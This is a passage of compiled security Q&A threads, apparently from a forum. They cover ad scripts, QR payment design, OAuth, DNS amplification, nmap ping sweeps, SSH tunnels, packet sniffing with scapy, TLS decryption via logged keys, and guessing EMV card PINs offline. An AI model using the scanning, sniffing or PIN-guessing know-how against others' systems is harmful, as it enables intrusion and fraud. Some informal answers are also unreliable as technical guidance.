It allows you to for example post them online, view them in a text editor and so on, while you could not do any of that properly with their binary form.

When keys are being used, they are decoded into binary again and stored in memory (RAM).


Can ads on a page read my password? Disclaimer: I have minimal web-dev/security knowledge so please answer as if talking to a "layman."

I've heard that web-advertisements need to be able to run their own JavaScript so that they can verify they're being viewed by "real users." As this incident on StackOverflow shows, they're basically given free reign.

I also know that JavaScript can be used to capture keystrokes on a webpage.

So in a case like goodreads, where they have ads on the page and user/pass textboxes on the header, is there something in place to prevent the ad from reading keystrokes to record my credentials? Is reading keystrokes simply not possible from an ad?

If I see ads on a login page should I assume that the page is not safe to enter my credentials?

Nothing prevents ads from reading your passwords.

Ads (or any other script like analytics or JavaScript libraries) have access to the main JavaScript scope, and are able to read a lot of sensitive stuff: financial information, passwords, CSRF tokens, etc.

Well, unless they're being loaded in a sandboxed iframe.

Loading an ad in a sandboxed iframe will add security restrictions to the JavaScript scope it has access to, so it won't be able to do nasty stuff.

Unfortunately, most of the third-party scripts are not sandboxed. This is because some of them require access to the main scope to work properly, so they're almost never sandboxed.

As a developer, what can I do?

Since any third-party script could compromise the security of all you personal data, all sensitive pages (like login forms or checkout pages) should be loaded on their own origin (a subdomain is fine).

Using another origin allows us to profit from the Same-Origin Policy: scripts running on the main origin can't access anything on the protected origin.

Note: Content Security Policy and Subresource Integrity could also be used if the third-party can be easily reviewed, but most ad networks couldn't work anymore if you used them.


Is this a safe way to identify someone through a QR code for a purchase? I am in the process of developing an iOS app where a customer can earn rewards (money) to spend back at the business. When the customer wants to spend the money they have earned, the cashier will use the employee app to scan the customer's QR code on the customer app. To clarify, yes, there are 2 apps. One for the customer (where their identifying QR code is) and one for the employee to scan the QR codes and process the payment. My question is, how can I make this transaction secure (or as secure as possible)?

Here is what I am thinking as a potential plan, please correct me where I am wrong:

When the customer logs in, their credentials are stored in Keychain (of course password is encrypted): customer_id, customer_email, customer_password.
Along with these 3 separate identifying pieces of information, I will also send an encrypted string consisting of those 3 pieces of information. This encrypted string will end up being the QR code value. For example, the encrypted version of "customer_id|customer_email|customer_passord" or "19302|example@gmail.com|password123". The | are used to separate the data so it can be processed later.
I will encrypt this 3-piece identifier server side since doing any encryption on the app side (client) is probably risky. So the following 4 pieces of data come to the user's app: customer_id, customer_email, customer_password (encrypted), 3_piece_identifer (encrypted).
Now the user has the encrypted 3_piece_identifer in their Keychain in the app. This 3_piece_identifer will be the QR code that will be scanned by the employee. Once again, 3_piece_identifer is "19302|example@gmail.com|password123" encrypted just as an example.
So now the employee uses the employee app to scan the customer's QR code (which resides on the customer app). The employee just received the encrypted 3_piece_identifer.
Still on the employee app side, the 3_piece_identifer is now decrypted and processed server-side then check in the database for this customer's additional information like current balance.

Am I doing it completely wrong?

I think you are protecting against your threat the wrong way, and I think you're also missing out on protecting against some additional threats.

Hashing vs encryption

First and most important: the end user's password should never be encrypted.  It should only ever be hashed.  Encryption is reversible but hashes aren't.  In the event of system breaches, you don't want someone to be able to decrypt an encrypted user password.  That could just be a simple matter of accidentally using the wrong terminology: its easy to confuse the two.

The goal

Before jumping in, it helps to reiterate the big picture: what are you trying to do here?  You are trying to make it easy for a kiosk to identify a user securely so that they can use a pre-paid account balance.

Breaking it down

The simplest solution would be to simply use the user's unique id to build the QR code.  This would get the job done very easily.  The problem with that (which your solution is trying to solve), is that the user id is probably guessable, so someone might easily figure out how to build your QR codes and start generating them for random user ids until they find someone with lots of money on their account.

Your use of the three piece identifier is designed to circumvent this problem.  The goal is to make it so that only the actual user is able to generate the QR code and use their money.  The issue I see is that you have used the user's password in the QR code generation process.  This has the benefit of making it hard for anyone other than the user to generate the QR code, but it has a big disadvantage of increasing the "surface area" for the user's password to be stolen.  Inherently, the more you use the user's password, and the more it transfers back from client to server (in any form), the more opportunities there are for a malicious user to steal it and use it to break into the actual account.  Granted, doing so would require understanding the form of your 3_piece_identifier and then doing a brute-force on the password, but such things are not outside of the realm of possibility, even if it isn't the highest on the list of concerns.

An important attack vector

However, your scenario doesn't protect against a simpler and much easier attack vector: simple replay attacks.  Nothing in your scenario ever causes the QR code to change, so if anyone could simply get a picture of the QR code created by the authorized user, that is all that would be necessary to pretend to be them in the future.  It could be as simple as literally taking a picture of someone else's phone while they have the QR open (maybe the person standing in front of you in line?) and then opening up that picture from your phone's gallery, and scanning the picture of the QR code when you checkout.  Unless the people running the cash register are paying attention (hint: they usually don't), you get to use someone else's balance with little effort.

One possible way to solve all of this

As a result, what you have isn't going to work (I don't think).  I think you should not bother using the password as part of the verification, and you need something to protect against replay attacks.  It can actually be very simple: when the user loads up the QR code on their phone they can hit up an API server-side to request a one-use key.  This will be generated server side, and it can even just be a completely random string: it doesn't have to include the user's email/id/password, but instead is simply associated with that user's account.  Make sure you and use a cryptographically secure random number generator, of course.  Make it nice and long (as long as it fits well in a QR code), make sure it is unique, store it server side associated with the customer along with an expiration time (no more than a couple minutes even), and then send it down to the client.  The client application turns it into a QR code, the employee app scans it, sends it back up, the server verifies that it is valid, that it hasn't expired, and can now bill the client's account properly.  As long as the API endpoint that generates the one-use-key requires a logged in user to work, everything should be nice and secure (or at least, as secure as the user's account is).  To recap:

User logs in
User requests to pay with the account balance
Client sends up request of single-use-key
Server generates (via CSPRNG) a unique single-use-key and stores it with the user's account, along with an expiration time
Server sends single-use-key back down to client
Client turns single-use-key into QR code
Employee app scans QR code and converts back to single-use-key
Employee app sends up single-use-key to server
Server verifies key's validity and can now charge the proper account

I would also be curious to see what suggestions other's may have.


Found SD Card - Now What? I found an SD card at airport security.  It's a higher-end card and 64GB.  I'm guessing that it's probably from someone's camera and likely has photos on it that they would like returned.  Is there a safe way form me to view the contents with the goal of possibly returning it to the owner?

For what I know there is no software way to compromise your computer from this SD card as far as you are up to date and you didn't enable old settings like autorun, ...
But because 0 day are always possible, it could be better to read it from a Linux USB Live considering that a malicious person would probably target windows software.
Then using the GPS data of the exif is a good way to find the owner.
But, it could still exist a hardware risk:  the SD card can be recognized as a keyboard and could execute commands and other creepy scenarios.
Using a dedicated machine not connected to your home network will be safer. It has to be a machine where you do not perform your daily tasks : browsing, emailing, netflixing, ...
I agree that the safest way is to give it to the lost and found of the airport.


What are the implications of using OAUTH? Do the positives outweigh the negatives? OAUTH seems like a pretty good idea when it comes to helping people authenticate, cuts down on the # of passwords to remember and in general eases the friction of on-boarding.  However it would mean that once you compromise one account, you would be able to get into lots of things, all you would need to do is know other sites that used this connection to raise all kinds of havoc.

Do the positives outweigh the negatives when using OAUTH.

In my case I use google as OAUTH for several sites, but my google account is protected with 2 factor auth which many of the other sites don't provide.  Does the google 2 factor combined with OAUTH make the other accounts more secure or less secure?

What are the questions I haven't thought of yet in this space?

Using OAUTH and 2 factor auth is the best way to go in my opinion. Your main account is protected and the other sites just serve up an authentication token to verify against. If the token becomes compromised the rest of your accounts are still safe, just the one token needs to get revoked.

Also if youre not using 2fa and your password gets compromised you dont have to go change your passwords on all accounts. A password change on your main account SHOULD revoke all other tokens currently issued. All your other accounts are now safe.


Why is a DNS Amplification attack considered a DDoS attack? My understanding is that a DNS Amplification attack involves sending a DNS resolver a bunch of requests with a spoofed sender address, which is the victim's. The DNS responds to this IP address with a whole ton of info. Where is the distributed nature that makes this DDoS and not DoS? I could see it being DDoS if the attacker used multiple DNS resolvers simultaneously, but the linked article doesn't make it sound like that's the case.

From the resource you cite:

  A misconfigured Domain Name System (DNS) server can be exploited to participate in a distributed denial of service (DDoS) attack.

From my understanding this means, that the distributed nature of the attack is only given if multiple servers are involved. "participate" is not really used when the affected server is the only one involved in the attack.


Collecting Information from CVE and MSB to write proof-of-concept I am currently interested in knowing how to write some proof-of-concept code for recent vulnerabilities that are released every month by the CVE and Microsoft Security Bulletin.

These websites list that vulnerabilities have occurred but they don't explain how the vulnerability works. For example Microsoft Security Bulletin has a very generic line describing how the vulnerability works-:

  specially crafted Microsoft Word file

This doesn't give any information how the flaw works. CVE is also limited. I don't get the why information is not provided since the patch has already been released.

Are there resources anywhere on the web where I can get to know how recently released vulnerabilities work ?

When exploits are first posted on CVE or others, the exploit discoverer usually provides code/description/POC to the vendor of the affected product.

This allows them to build a fix or patch.

If the information was provided publicly, it would allow any attacker to build an exploit.

The information posted publicly is enough to let sysadmins understand what they need to do immediately, before a patch becomes available.


"acceptable client certificate CA names" OpenSSL What does the Acceptable client certificate CA names line mean in OpenSSL? When I connect via OpenSSL I can see the server certificate and Acceptable client certificate CA names that's listing various root CA.

This is the list of certificate authorities which are accepted by the server as issuer for the client certificate. The client can use this list to select the appropriate client certificate. See RFC 5246 (TLS 1.2) section 7.4.4:

  certificate_authorities
  A list of the distinguished names [X501] of acceptable certificate_authorities ... may specify a desired distinguished name for a root CA or for a subordinate CA; thus, this message can be used to describe known roots as well as a desired authorization space.


Can nmap undergoing host scan slow my internet speed? I've been scanning my network for new hosts using this command:

nmap -v -sn 192.168.0.0/16 10.0.0.0/8

I have a lot of users in my network. Does the nmap scan slow down my network traffic or do I just have a load due to users?

Since nmap will be performing a ping scan in chunks of 4096 host addresses at, at least, 2 ports per host address, (corrected thanks to @Trickycm), it will be generating quite a lot of traffic so yes it will be impacting your other network traffic to some degree but depending on the number of pings and the rate pinged at I would expect the impact to be moderate.

You can add options to reduce the impact:

  --max-retries <tries>: Caps number of port scan probe retransmissions.
  --host-timeout <time>: Give up on target after this long
  --scan-delay/--max-scan-delay <time>: Adjust delay between probes
  --min-rate <number>: Send packets no slower than <number> per second
  --max-rate <number>: Send packets no faster than <number> per second


Encrypting USB traffic: Is RSA necessary for AES session key exchange when using pre-installed secret keys? I need a solution to encrypt USB communication between device A and device B. I was thinking about configuring each device with a secret RSA-2048 key, which would be used to exchange an AES-256 session key.

A and B are pre-configured with secret RSA-2048 asymmetric keys.
A sends an unencrypted message to B indicating that encryption should be used.
B uses its RSA-2048 key to encrypt an AES-256 symmetric session key and sends it to A.
A uses its RSA-2048 key to decrypt the message and obtain the AES-256 session key.
The AES-256 session key is used for encrypting/decrypting communication going forward.

Since the RSA-2048 keys are both secret, is there any point in using RSA over AES for encrypting the session key exchange? In other words, is it acceptable for both A and B to be pre-configured with a secret AES-256 key (instead of secret RSA-2048 keys) that is used to generate an AES-256 session key?

It depends.

If A and B are configured with secret AES keys, then A and B's previously intercepted communications can be trivially decrypted after the AES key comes to light (B is pulled out of the trash can your SO threw it in next year).

If you use secret RSA keys, then it's very similar, though each intercept must have the packets containing the cryptographically randomly generated AES key for that "session" to decrypt data previously intercepted from that session.

If you use something like TLS-DHE-* or TLS-ECDHE-*, then retrieving the device later does NOT help decrypt previously intercepted communications; this is the big deal about forward secrecy using ephemeral keys.


What is the HTTP "Server" response-header field used for? It was not until recently that I began to question the use for the Server field in the HTTP Response-Header.

I did some research:

RFC 2616 states:

  14.38 Server

  The Server response-header field contains information about the
  software used by the origin server to handle the request. The field
  can contain multiple product tokens (section 3.8) and comments
  identifying the server and any significant subproducts. The product
  tokens are listed in order of their significance for identifying the
  application.

   Server         = "Server" ":" 1*( product | comment )

  Example:

   Server: CERN/3.0 libwww/2.17

  If the response is being forwarded through a proxy, the proxy
  application MUST NOT modify the Server response-header. Instead, it
  SHOULD include a Via field (as described in section 14.45).

  Note: Revealing the specific software version of the server might
  allow the server machine to become more vulnerable to attacks
  against software that is known to contain security holes. Server
  implementors are encouraged to make this field a configurable

This, however, makes no mention of the purpose of this field.  This seems like information disclosure to me.  These server strings give away a lot of information that is great for anyone trying to fingerprint the server.  Automated scanning tools would quickly identify unpatched or vulnerable servers.  Having my web server present version information for itself and modules like OpenSSL seems like a bad idea.

Is this field needed... for anything? If so, what?
Is it already best practice / common place to disable or change this field on servers?

I would think that, from a security perspective, we would want to give the enemy (ie: Everyone) as little information as possible while still allowing business to continue. Here is an interesting write-up on information warfare.

Server information should be removed from HTTP responses, and its an insecure default to leak this data. This isn't a major security risk,  or even a medium security risk - but I don't feel comfortable just announcing such details to my adversaries. Having an exact version number leaks when, and how often you patch your production systems - even if the version is current.  An adversary knowing the patch cycle, means that they know when you are the weakest.

The HTTP Host header probably most useful for the Netcraft Web Server Survey.  But in terms of HTTP it shouldn't matter.  That is why we have standards, so that clients and servers written by different vendors can work together.


What is the simplest way to prevent adding a new default route via dhcp? I have a corporate network to which remote access is provided via openvpn. Customers include a variety of devices (laptops, smartphones).
These devices running software that accesses corporate resources. Transparency of the work for the customer is provided with the addition of a default route through the openvpn (push gateway option). As a result, I have two default route in the routing table.
Old default route I remove a script (using the up option in the configuration file openvpn). Then everything is working properly, all traffic goes through the vpn tunnel.
When customers perform update the network settings through the dhcp, it automatically adds the default route through a router (the same which I removed with a script before)

What is the simplest way to prevent adding a new default route via dhcp?

If you can change openvpn configuration you can add, instead of the default route, the following two routes:

0.0.0.0/1 via tunnel
128.0.0.0/1 via tunnel

In this way the kernel always choose the /1 route because it has a longer subnet mask.

It's a workaround, but in many cases it works.

OpenVPN even has an option to do this: add def1 to the redirect-gateway configuration entry or flag.


Should a webpage where visitors submit e-mail address and phone number be served only over HTTPS? In one of our websites, there is a link pointing to a page to download some PDF files. Visitors have to submit their their name, job title, company, phone number and e-mail address and click a 'submit' button before landing at the page where the PDF file is hosted. However, the page where it collects name, e-mail address etc are not served through HTTPS. Personally, I think that any page that collects PII should be served through HTTPS, but I need something to present to the management before making this change (from HTTP to HTTPS). Does the practice of collecting the above details through a non-HTTPS page violates our policy if we are committed to protect PII of our customers and visitors?

Personal information (PII) Must be protected.

Name and emails are. IP address can be too.

If it's in your policy, you have to.

In Europe, it's an obligation, like in most countries.

So you must use https.

If you don't use https on all your pages including ones without PII, then you are vulnerable to MitM/sslstrip attacks, so you don't protect them correctly.

You should use https on all your pages and HSTS.


How SSL/TLS handshake happens when we use Cloudflare Service? I was reading about the offerings of the Cloudflare and then I read about the working of Cloudflare.
Based on my understanding, the domain name of my website(alice.com) is resolved to the IP address of Cloudflare Data Center which communicates with the user and deliver the static content. In the scenario where the dynamic content is required the Cloudflare Data Center communicates with my web server and delivers the content to Cloudflare Data Center which in turn delivers the content to the user. This makes my server invisible for the external world thus providing the overall security.

The thing triggering in my head is how the SSL handshake is happening when  Cloudflare is used. As per my understanding there will be two handshakes happening

User<->Cloudflare
Cloudflare<->alice.com

If this is true then Cloudflare must be having access of all the traffic in the plain-text. As the initial handshake happens with Cloudflare which allows Cloudflare to decrypt the traffic. In this scenario, we are letting third party(Cloudflare) access to user's sensitive information such as user credentials, PII etc. Does this makes sense?

Also, if the aforementioned statements are true how is the hostname verification happening during initial SSL handshake?

You would need to provide your private key to Cloud Flare to have them create a valid SSL/TLS connection with your clients on your behalf.  This gives them full plain text access to all content exchanged between your clients and you. This is one of the tradeoffs of using them.


Can an email message that runs PHP possibly infect the client? The full body of the message is:

<img border="0" src="http://eddinebox.com/rdt.php?t=591dc552a22ab037361c06e0op00u2wenVApp"/>

I don't understand how a PHP script could infect the client, but the message looks like it can only be malicious.

No

The PHP cannot infect the client because the PHP runs on the server which is "http://eddinebox.com" server. To infect the client, you need to have something that runs on the client. In browser, that would mean a javascript code that is not escaped properly by your email client.

On a different note, the PHP script can be used for Cross Site Request Forgery (CSRF) Attack. For example, the author of the email could use it to execute some action on another site as if it was you.

That said, as mentioned in the comments it's probably just a tracking code.
When you open the email, it loads the PHP page. Then, the PHP page register which clients open the email and the parameter "t" is a unique code per client. It's a pretty standard technique for tracking.


Is it OK to not update devdependencies? When checking third party libraries used in package.json and build.gradle files with tools such as Snyk, they allow the option to check for devdependencies. A lot of the time there is vulnerabilities for these dependencies. But if they are not shipped and only used for testing is there any risk with not updating them?

This Snyk blog says that "dev dependencies matter little". So I am looking for confirmation that this is the case, as they are not tested by default.

They matter. Not updating libraries and dependencies will leave your software vulnerable. Each one of the libraries is part of the attack surface.

Unless an update breaks your code, update as soon as the update is available. If the update breaks your code, patch the code and update. But never leave any outdated library with security bugs in your projects. Even if used only for development. If one day you forget to disable them, you are in danger.


Why block outgoing network traffic with a firewall? In terms of a home network, is there any reason to set up a router firewall so that all outgoing ports are blocked, and then open specific ports for things such as HTTP, HTTPS, etc. Given that every computer on the network is trusted, surely the amount of extra security provided by blocking outgoing ports would be pretty much negligible?

Blocking outbound traffic is usually of benefit in limiting what an attacker can do once they've compromised a system on your network.

So for example if they've managed to get malware onto a system (via an infected e-mail or browser page), the malware might try to "call home" to a command and control system on the Internet to get additional code downloaded or to accept tasks from a control system (e.g. sending spam)

Blocking outbound traffic can help stop this from happening, so it's not so much stopping you getting infected as making it less bad when it's happened.

Could be overkill for a home network tho' as there's a lot of programs which make connections outbound and you'd need to spend a bit of time setting up all the exceptions.


Guessing PIN code of smartcard using brute force and offline reader I came across this question Offline brute-forcing of a bank card PIN, which was asked 7 years ago. I'm currently exploring vulnerabilities in EMV protocol, and I wanted to double check if an idea I had in mind is viable.
I came across a paper written in 2013, titled Risks of Offline Verify PIN on Contactless Cards, which describes a scenario where an attacker can try to guess a smartcard's PIN code if they are in NFC range. The attacker would use an offline reader which sends to the card a VERIFY_PIN command.
Note here that the reader will terminate the transaction every time the remaining attempts to enter the PIN is 1. So theoretically, if the card allows 3 attempts in total, the attacker can make 2 guesses at a time, and then reset the transaction.

And since all this is happening offline, nobody will detect that the card is being attacked.
A brute force approach will require 10000 attempts, and with the help of some probabilistic analysis, the guesses can be made in a more educated manner (e.g. using birthdays etc.).
Good folks at Cambridge have put in effort to illustrate that there is in fact a trend in terms of people picking predictable PINs A birthday present every eleven wallets?
The security of customer-chosen banking PINs.
In this case the paper recommends that the VERIFY_PIN command be omitted from the possible commands sent to an NFC card, so that the attacker cannot issue this command to the card to begin with, and since it isn't really necessary, because NFC transactions usually involve small amount and many don't even require a PIN verification.
Nevertheless, my question remains: is such a setup viable for contact transactions (physically inserting the card in the terminal)?
There have been attacks previously mentioning a Man-in-the-middle that intercepts a transaction and fools the card into thinking there is no PIN required. So why not try a random PIN twice, and then intercept the transaction by resetting it?
Has this idea been discussed in the literature? Is there a solution for it in the EMV protocol?

EMV has PIN Try Counter. Failed offline PIN attempt decrements the counter and remains persistent across sessions. So even if you cancel the transaction after 2 failed attempts, it won't reset the counter. Next time when you will reinsert the card you will only have one attempt left.
Before VERIFY_PIN is issued, PIN Try Counter is retrieved by GET DATA command. If the value of PIN Try Counter is zero before verifying the PIN, terminal will go for online PIN verification as next supported cardholder verification method (CVM).
Nowadays online PIN verification is mandatory because of custom cardholder PIN. In some cases where terminal cannot go online, then only terminal chooses offline PIN verification as next supported CVM. Offline PIN can be updated with the post-issuance command by Issuer-to-Card Script Processing whenever a next transaction will be online.
Online PIN is sent with transaction authorization request to the issuer. The authorization response from the issuer contains transaction approval/rejection and optionally Card Status Update which can reset PIN Try Counter or can block the card.

Given that the person will enter the building on a regular basis and that the number of  available PIN attempts is reset each time the payment card is used in a Point of Sale terminal  or ATM, the attacker can have unlimited attempts to guess a card’s PIN.

I don't think this is possible today. Contactless cards have a threshold counter above which the next transaction has to be a contact payment or in some countries may still be operational in contactless mode with an online verification of the PIN code. (12:18)

EMV Contactless Book A, 5.9.3 - CVM Selection and Cardholder Verification

Methods that may be supported are online PIN and signature – offline PIN is not suitable due to the “card in field” timing issues.

Cardholder puts the card near to the PoS and pulls it back. Offline PIN verification will require the card to be remain in the field until PIN verification completes.

The specifications for contactless transactions specifically exclude the use of offline PIN verification (full details in [6] Book A section 5.9.3). Contactess offline PIN verification requires the PIN to be transmitted wirelessly to the card which poses a security risk from eavesdropping. Surprisingly many of the contact-
less cards currently in circulation in the UK allow access to offline verify PIN.

This is completely out of specification if UK banks were/are allowing offline PIN without persistent PIN Try Counter and unlimited consecutive contactless payments.
EMV contact/contactless cards have 3-5 year validity. So modern NFC cards might be complying with the specifications, atleast in countries where NFC payment support has just arrived.


How does DHE-RSA-AES256-SHA compare to RC4 as the Cipher for SSL? I read a lot of issue [1] currently stating that RC4 is broken and is at risk.

I just checked my web server (nginx) and it is using the default settings, which is

DHE-RSA-AES256-SHA

How does this Cipher compare to the RC4?

Is it slower (I think so)
But it is more secure?

[1] http://blog.cryptographyengineering.com/2013/03/attack-of-week-rc4-is-kind-of-broken-in.html

Cryptographically "broken" and just plain "broken" are different things, the former is usually taken to mean "less than brute force" (which can still be improbably expensive to achieve).

Aside from the fact that two ciphers, AES and RC4, are different internally (CBC block cipher, and stream cipher respectively), the observable differences are that AES-256 is 256-bit, and not as fast (as you correctly suggest) as 128-bit RC4. Speed is sometimes a reason cited for Google preferring it.
The "DHE" part means ephemeral Diffie–Hellman, which offers PFS, generally a good thing.
Both AES and RC4 support SHA-1 and MD5 for message integrity checking, the former is preferred (one or other must be used, prior to TLSv1.2 which added more algorithms).

Thomas Pornin very neatly sums up both the RC4 and BEAST issues here:

TLS: RC4 or not RC4?
Is there a way to mitigate BEAST without disabling AES completely?

The RC4 vulnerability allows for the most of the first 256 bytes of a connection to be accurately guessed with at least the conditions that:

the recoverable content must be the same for the duration of the attack
the attacker must capture a lot of traffic, some 224—232 of useful packets (which he can distinguish as start of a session)
the guessed content is still useful (i.e. HTTP session cookie) when he's done
the SSL session key is not recovered, only partial content

A quick back-of-the-envelope calculation indicates if you could saturate a wifi link (say 20Mbps) with ideal traffic you'd be looking at ~2 hours for the first 3-4 bytes recovered, and around 10 days for near-complete recovery of the first 256 bytes. (This is just factoring in bandwidth, the CPU requirements of the analysis are negligible.)

This issue with RC4 is quite old, it's only the quantification of the biases that is new.

I recommended AES ciphers over RC4 (BEAST is a client side issue, if the user still has a vulnerable browser at this point in time there are likely bigger problems to solve).

Although some of these issues are (IMHO) hyped a bit much, the best outcome is more progress toward uniform client and server support for TLSv1.1 and later. Around the time the BEAST was published, support was quite poor.


Securing Publicly Exposed MySQL Database for Group CS Project Hello I am looking for some advice. For an Advanced C++ Programming Course I am taking another student and doing a project. For this project we plan on using a MySQL Database as our backend database.I would like to setup a remotely accessible MySQL Database that we can use for the project such that we can be using the same database to test our programs ,also this way we can use the computers in the computer lab to program on, since we won't have to bring a computer with MySQL Installed on it to class to work on our program.

What I am worried about is the security of doing something like this, what I plan on doing is creating a database and a user. What I would like to do is to allow remote MySQL Connections to database from my user account and to restrict root logins to localhost (if I need to login to the database as root I can SSH to my Unix Server and then login as mysql root locally so the traffic will be encrypted) . what I am looking for is some advice on how I can best secure this database.

I don't plan on using SSL to login to the database as "user" from our program since this will require even more third party libraries (OpenSSL) be added to our project and I really to keep the number of libraries we are using down.

What I am looking for is some advice on how I can best secure this system. I will only be keeping it up for the semester and will be taking it down and re imaging it when I am done. It is going to be located on a DMZ with the only other host on the network being an OpenBSD web server that I am running.

I plan on using the mysql_secure_installation script that is included with MySQL Server on OpenBSD when I set it up so that test users and databases are removed is there anything else I should do other than keep the system patched, not allow root logins remotely and use strong passwords?

Thank you for taking the time to answer my question

the easiest way, if all machines are linux/unix-based, is to create ssh-tunnels (sometimes called 'poor mans vpn') from every machine onto your mysql-server;

no need to open ports to the outside
no need to create additional users
no need to change mysql access-permission locally
you can work with ssh-keys
data-transfer is encrypted

ssh -p 22 -L 3306:127.0.0.1:3306 user@mysql-server -N

this will start a tunnel and make mysql @ mysql-server locally available @ localhost:3306


Providing access to Git repo behind a Firewall using Certs/Keys for Authentication We have a Git repo sitting behind a firewall. As I see it, there are two ways of authenticating/accessing the Git repo:

Add a Reverse HTTP Proxy in the DMZ that communicates with the Git repo. This will allow the user to access Git over HTTPS.
Poke a hole in the firewall to allow traffic to the Git repo on SSH. This will allow the user to access Git over SSH.

We have another policy that requires use of cert/keys based authentication instead of a static user/password. So this rules out Option #1. But we are not comfortable with poking a hole in the Firewall.

What options do we have? Is there a Reverse HTTP Proxy like solution for SSH as well?

If you're thinking of SSH certs does this mean these are internal users who can be forced to use additional security measures? Examples:

VPN
SSH Jump server - users connect here first and then use port forwarding to access your git host(s). You could insist on two separate sets of credentials too.


Is my computer getting attacked? Would anyone be able to have a look at the pcap from my computer? I am thinking my computer get attacked by a process and keeps sending out packets from my computer to DoS my network.

I get errors in DNS very often and I simply cannot use the internet.
pcap

a pcap would be useful PROVIDED whatever process is responsible for generating the packets isn't also protected by any sort of application that is intercepting system calls.  I.e. most good viruses typically use a loader that prevents the OS from reporting packets or processes generated by specific processes.


Is there any way capture HTTPS Request with Python? I created a simple python script to capture HTTP request. I captured HTTP Requests with my python script.

But I can't capture HTTPS requests. I just want to capture information about URLs.

I used scapy to sniffing. For example:

from scapy.all import IP, sniff
from scapy.layers import http

def tcp_ayikla(paket):
    if not paket.haslayer(http.HTTPRequest):
        return

    http_katmani = paket.getlayer(http.HTTPRequest)

    ip_katmani = paket.getlayer(IP)
    print '\n{0[src]} IP adresinden {1[Method]} {1[Host]}{1[Path]} sitesine ziyaret'.format(ip_katmani.fields, http_katmani.fields)

sniff(filter='tcp', prn=tcp_ayikla)

So, I have questions about sniffing.

1-) Why I can't get HTTPS requests?

If I use netstat like this:

netstat -ap | grep http

I can see HTTPS Requests

2-) Is there any way in another programming languages?

Because I am trying to log HTTP requests.

What did I do?

I tried parsing netstat output with python. I don't want to this.
Because it's not pure Python.
I tried with scapy. I couldn't catch HTTPS requests.
I tried to read the URL informations from SQLite. I don't want to
this. Because it's not about network.

What should I do?

Should I give up?

HTTPS runs on top of TLS.  That is the entire HTTP request and response is encrypted, and an application eavesdropping on the network traffic will not be able to decrypt the traffic.

That said, you could log the IP addresses (especially those connected to servers on port 443 - HTTPS) as the IP layer is not encrypted.

This is what your netstat command does.  It looks for TCP connections on your network card, and notes which ones are connecting to port 443 (well known protocol for https) and observes the IP address of the HTTPS servers you are connecting to.

I should note that if you capture encrypted network traffic, it is possible to decrypt such captured traffic if you save the SSL key from your browser.  See here for instructions how to decrypt SSL eavesdropped network traffic with wireshark when you log your SSL keys; you should be able to do something similar with scapy.


Home banking site request, it possible for a small web agency? I'm working in a web agency, i have a request to made an home banking system for a little bank. I'm searching in internet for some information about security and a good pattern to start, but naturally i haven't found information. I'm a little bit confused, i know that a php web-portal is not suggested in most case (seems that php needs more work to make things secure...),so where i have to redirect my attention? Asp and iis or Jsp and Oracle? It's the same for security reasons?
What are the standard that i must respect? Https and what else?
I'm also pretty anxious... It is really possible for a small agency to create an home banking system?

Unless you already have experience in the field, then yes, this is too complex for a small web agency.  PHP can be used securely, but you have to know what you are doing.  As part of a small web agency, I worked on a high security system to manage a bill payment service with many similar requirements to an online banking system.  The project never reached completion due to the client running in to internal troubles with their business, however it was fully possible to do and we were making excellent progress until the client's business went under.

The problem is that if you don't already have an in-depth knowledge of secure programing and either know, or have someone who knows the banking regulations you need to follow, producing a technically and legally compliant solution is going to be exceptionally time consuming and difficult.

The project I worked on only stayed on schedule because the client understood the legal requirements for the system and I knew how to securely implement such features already.  (The need for such a secure developer was actually what got me involved with that company in the first place.)

If you want to try taking on such a job, you will want to find someone local who has a background in writing secure software and work with them on the project.  It isn't all that difficult to implement a secure site with basic functionality, but it does require a lot of knowledge and understanding that goes beyond what we can provide in an online Q/A format.


Security of https website which resolves to local ISP (ex. twitter) Recently I noticied that some of social networks (ex. twitter) domains points to an IP in my local ISP. (ping twitter.com resolved to local ip: 3.4.5.6-static.bad-government-isp.com).

Note: now twitter.com resolves to IP in USA.

I understand that cdn can be hosted locally, but I thought that the main https connection should be served from some-centralized-twitter-datacenter.

The certificates were correct and firefox (latest version with certificate patrol) didn't complain about anything.

From the news, I read that government lately purchased new surveillance software (after hacking team scandal).

Is this normal? Or the ISP is doing some smart man in the middle?

The IP address is unrelated to the certificate and thus does not matter when validating the certificate.

It might be that your ISP answered the DNS query with an IP address of an interception device and that the interception device than decided to simply forward the data unchanged to the original target (which can be read from the ClientHello of the SSL handshake) after checking it against some kind of blacklist.

The integrity of the SSL connection itself would not be harmed in this case but of course the ISP might have logged the access. But be aware that SSL only provides protection against sniffing and modifying the data and does not provide privacy, i.e. anybody sniffing on the line can see where you connect to and how many data gets transferred.


Avoid being implicated in criminal activity when using Tor What steps does a Tor user need to take to ensure that he or she doesn't become implicated in other Tor users' criminal activity?

For example, I recently came across a Tech Republic article by Patrick Lambert saying that acting as a relay is dangerous:

  You may want to act as a relay yourself. This will allow other people
  to use your computer to relay traffic. In order to do that, simply go
  to the Control Panel option inside of Vidalia and set up relaying. The
  thing to remember here is that by doing that, you are helping out the
  TOR community. However, you have no way to know what kind of traffic
  will transit over your system. Some of it may be illegal, and it may
  expose you to law enforcement actions.

I find this peculiar; I only thought people running exit nodes were putting themselves in harm's way, not relay nodes.

I think the author is referring to people running exit nodes, not those who run middle or entry nodes. By design, the Tor protocol doesn't allow the entry or middle nodes to decipher what is being received or sent (assuming the keys for the nodes are not compromised by some other fashion), only the inbound and outbound nodes are known. Therefore, it should be safe to say that running an entry node or middle node is okay (in most cases) as you do not know what is going through.

Essentially, you can cooperate with your local law enforcement by saying that you have little evidence of wrongdoing to give. You can even give them your node logs and private keys for the node if they request for it (not that you should without a court warrant), and if your log settings are default they would at most be able to determine which nodes you've been talking to, not the contents of your traffic.

However, there are certain countries that frown upon citizens making their own Tor nodes, as they believe that the Tor network is mainly used for criminal activity. Even if you run a Tor middle node, they might put you in greater surveillance as you are deemed "suspicious" by them. Most consumer level ISPs also do not like their customers running servers (which by definition a Tor node is) unless you upgrade to their business plans.

My advice: do so, but understand more about your country's laws and your ISPs restrictions to avoid getting into trouble.


MD5 brute force on a faulty hash? MD5 for passwords is considered insecure due to the ability to brute force and pick up the result.

But what if I change some characters of an MD5 hash and I keep a record of that change so that later I can match with that hash according to those changes?

Here is the question, is it also possible to brute force on a modified / faulty MD5 hash to match against an unknown string for a hacker?

Purpose: i found that it is relatively easy for a user to use tools like 'inspect elements' to change a "post_id" or a "user_id" in a web form so i was trying to hash those ID's and once the user submitted the form first of all i do match if the md5 of the user submitted ID's are matched with the md5 of those ID's pushed into the forms hidden element while generating the form.

